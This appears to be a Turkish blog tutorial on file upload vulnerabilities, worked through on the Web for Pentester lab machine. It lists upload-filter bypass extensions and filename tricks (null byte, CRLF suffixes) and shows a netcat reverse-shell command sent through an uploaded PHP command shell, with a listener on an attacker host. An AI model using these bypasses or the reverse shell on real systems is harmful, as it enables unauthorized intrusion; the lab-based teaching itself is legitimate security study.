File Upload | Web for Pentester

File Upload Nedir ?

File upload zafiyeti, web uygulamaları üzerinde bulunan dosya yükleme kısımlarına zararlı içeriğie sahip dosyalar yükleyerek web uygulaması içerisine zararlı yazılım enjekte etmemizi sağlayan tehlikeli bir zafiyet çeşididir.

Bir jpg/png uzantılı dosya yükleme kısmına bir zararlı içeriğe sahip php reverse shell dosyası yüklersek sistem üzerinde terminal erişimi açabiliriz veya bir zararlı yazılıma sahip ‘.py’ uzantılı bir python dosyası yükleyebilirsek sistemde o dosyamızı çalıştırabiliriz.

Eğer dosya yükleme kısmında yüklenecek dosyaya ait bir uzantı filtrelemesi yapılmamışsa zafiyetin sömürülmesi daha kolay olucaktır.

File UPLOAD bypass techniques

Googleden arama yaparak “file upload bypass teknikleri” diye birçok sayfa karşımıza cıkacakdır bunları tek tek inceleyebilirsiniz.

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png

Şimdi bu zaafiyeti uygulama kısmına geliyoruz.Bunun için Webforpentester makinamızdan faydalanacağız.

Webforpentester makinamıza bağlanıp File Upload / Example 1 bölümüne geliyoruz. Bizden bir image dosyası yüklememizi istiyor. (.jpg, .png vb.)

Biz burda jpeg dosyası değilde .php dosyası yüklemeyi deniyeceğiz. .php dosyası içinde aşağıdaki cmd komut satırı bulunmakta.

Yüklemeyi başardık şimdi bu zaafiyetden faydalanalım.

Url kısmında http://192.168.1.110/upload/images/cmd.php olarak belirecektir. burada birçok komut çalıştırabilrsiniz örneğin biz bir netcat dinlemesi başlatmayı deniyelim.

cmd.php? kısmının arkasına kali ipmizi yazalım yani

https://192.168.1.110/upload/images/cmd.php?cmd=nc -e /bin/bash 192.168.1.100 1234

Şimdi kali makinamıza gelip terminali açıyoruz ve

nc -lvnp 1234

komutuyla dinleme başlatıyoruz.

ve netcat aracını kullanarak sisteme girmeye başardık. Bundan sonra bütün komutları çalışdırabiliriz sistemin içerisindeyiz, bundan sonrası size kalmış.

bir sonraki zaafiyet de görüşmek üzere :/

Paylaş :

Leave a Reply

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir